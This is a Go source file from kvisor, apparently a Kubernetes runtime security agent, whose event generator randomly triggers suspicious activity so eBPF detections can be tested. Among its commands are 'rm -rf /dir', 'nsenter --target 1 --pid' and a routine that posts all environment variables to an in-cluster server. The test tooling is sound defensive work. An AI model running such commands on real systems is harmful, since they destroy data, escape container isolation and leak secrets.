github.com/castai/kvisor@v1.7.1-0.20240516114728-b3572a2607b5/cmd/event-generator/app/event.go (about)

     1  package app
     2  
     3  import (
     4  	"context"
     5  	"fmt"
     6  	"math/rand"
     7  	"net/http"
     8  	"os"
     9  	"os/exec"
    10  	"strings"
    11  	"time"
    12  
    13  	"github.com/castai/kvisor/pkg/logging"
    14  )
    15  
    16  var (
    17  	rnd *rand.Rand
    18  )
    19  
    20  func init() {
    21  	rnd = rand.New(rand.NewSource(time.Now().Unix())) //nolint:gosec
    22  }
    23  
    24  func newEventRunner(log *logging.Logger) *eventRunner {
    25  	return &eventRunner{
    26  		log: log,
    27  		events: []event{
    28  			newEventRemoteHTTPCall(),
    29  			newEventExecBinary(),
    30  			newEventStealEnvVariables(),
    31  		},
    32  	}
    33  }
    34  
    35  type eventRunner struct {
    36  	log    *logging.Logger
    37  	events []event
    38  }
    39  
    40  func (er *eventRunner) run(ctx context.Context) error {
    41  	ei := rnd.Intn(len(er.events))
    42  	selectedEvent := er.events[ei]
    43  	er.log.Debugf("running event, name=%s", selectedEvent.getName())
    44  	if err := selectedEvent.run(ctx); err != nil {
    45  		return fmt.Errorf("running event, name=%s: %w", selectedEvent.getName(), err)
    46  	}
    47  	wait := time.Minute
    48  	er.log.Debugf("done, name=%s, waiting %v before exit", selectedEvent.getName(), wait)
    49  	// Wait some time to ensure ebpf events are collected.
    50  	time.Sleep(wait)
    51  	return nil
    52  }
    53  
    54  type event interface {
    55  	getName() string
    56  	run(ctx context.Context) error
    57  }
    58  
    59  func newEventRemoteHTTPCall() *eventHTTPCall {
    60  	return &eventHTTPCall{
    61  		websites: []string{
    62  			"google.com",
    63  			"youtube.com",
    64  			"facebook.com",
    65  			"twitter.com",
    66  			"instagram.com",
    67  			"baidu.com",
    68  			"wikipedia.org",
    69  			"yahoo.com",
    70  			"whatsapp.com",
    71  			"amazon.com",
    72  			"netflix.com",
    73  			"yahoo.co.jp",
    74  			"live.com",
    75  			"zoom.us",
    76  			"reddit.com",
    77  			"vk.com",
    78  			"office.com",
    79  			"linkedin.com",
    80  			"discord.com",
    81  			"tiktok.com",
    82  			"twitch.tv",
    83  			"naver.com",
    84  			"roblox.com",
    85  			"bing.com",
    86  			"pinterest.com",
    87  		},
    88  	}
    89  }
    90  
    91  type eventHTTPCall struct {
    92  	websites []string
    93  }
    94  
    95  func (e *eventHTTPCall) getName() string {
    96  	return "http-call"
    97  }
    98  
    99  func (e *eventHTTPCall) run(ctx context.Context) error {
   100  	domain := e.websites[rnd.Intn(len(e.websites))]
   101  	resp, err := http.Get(fmt.Sprintf("https://%s", domain)) //nolint:noctx
   102  	if err != nil {
   103  		return err
   104  	}
   105  	defer resp.Body.Close()
   106  	return nil
   107  }
   108  
   109  func newEventExecBinary() *eventExecBinary {
   110  	return &eventExecBinary{}
   111  }
   112  
   113  type eventExecBinary struct {
   114  }
   115  
   116  func (e *eventExecBinary) getName() string {
   117  	return "exec"
   118  }
   119  
   120  func (e *eventExecBinary) run(ctx context.Context) error {
   121  	cmds := [][]string{
   122  		{"wget", "google.com"},
   123  		{"apt", "list"},
   124  		{"rm", "-rf", "/dir"},
   125  		{"mount"},
   126  		{"nsenter", "--target", "1"},
   127  		{"nsenter", "--target", "1", "--pid"},
   128  	}
   129  	cmd := cmds[rnd.Intn(len(cmds))]
   130  	out, err := exec.Command(cmd[0], cmd[1:]...).CombinedOutput() //nolint:gosec
   131  	if err != nil {
   132  		return fmt.Errorf("%s:%w", string(out), err)
   133  	}
   134  	return nil
   135  }
   136  
   137  func newEventStealEnvVariables() *eventStealEnvVariables {
   138  	return &eventStealEnvVariables{}
   139  }
   140  
   141  type eventStealEnvVariables struct {
   142  }
   143  
   144  func (e *eventStealEnvVariables) getName() string {
   145  	return "steam-env-variables"
   146  }
   147  
   148  func (e *eventStealEnvVariables) run(ctx context.Context) error {
   149  	envs := os.Environ()
   150  	// TODO(patrick.pichler): This is broken for sure, either think about how to fix it, or delete it.
   151  	req, err := http.NewRequestWithContext(ctx, http.MethodPost, "http://kvisord-server.kvisord", strings.NewReader(strings.Join(envs, ",")))
   152  	if err != nil {
   153  		return err
   154  	}
   155  	resp, err := http.DefaultClient.Do(req)
   156  	if err != nil {
   157  		return err
   158  	}
   159  	defer resp.Body.Close()
   160  	return nil
   161  }